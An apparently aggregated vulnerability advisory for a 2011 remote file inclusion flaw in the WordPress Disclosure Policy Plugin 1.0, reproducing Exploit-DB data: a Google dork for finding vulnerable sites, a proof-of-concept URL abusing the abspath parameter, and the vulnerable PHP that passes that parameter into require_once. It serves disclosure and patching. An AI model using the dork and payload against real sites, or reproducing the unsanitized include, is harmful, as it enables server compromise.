Disclosure Policy Plugin Wordpress plugin RFI

vendor:

Disclosure Policy Plugin

by:

Ben Schmidt

9.3

CVSS

HIGH

Remote File Inclusion (RFI)

CWE

Product Name: Disclosure Policy Plugin

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:disclosure_policy_plugin

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

Disclosure Policy Plugin WordPress plugin RFI

The Disclosure Policy Plugin Wordpress plugin is vulnerable to a Remote File Inclusion (RFI) attack. An attacker can send a malicious request to the action.php file with a crafted URL containing an RFI payload. This payload can be used to execute arbitrary code on the vulnerable server.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application. Additionally, ensure that the application is running the latest version of the plugin.

Source

Exploit-DB raw data:

# Exploit Title: Disclosure Policy Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/disclosure-policy-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/disclosure-policy-plugin/download/
# Version: 1.0 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/disclosure-policy-plugin/functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI

---
Vulnerable Code
---
if(isset($_GET['delete']))
{
   global $wpdb, $wp_rewrite, $allowedtags, $user_ID;
        $table_prefix1 = "dpp_";

        $tags_ID = (int) $_GET['id'];
    $abspath = $_GET['abspath'];
        $blogUrl = $_GET['blog_url'];
    require_once($abspath . '/wp-config.php')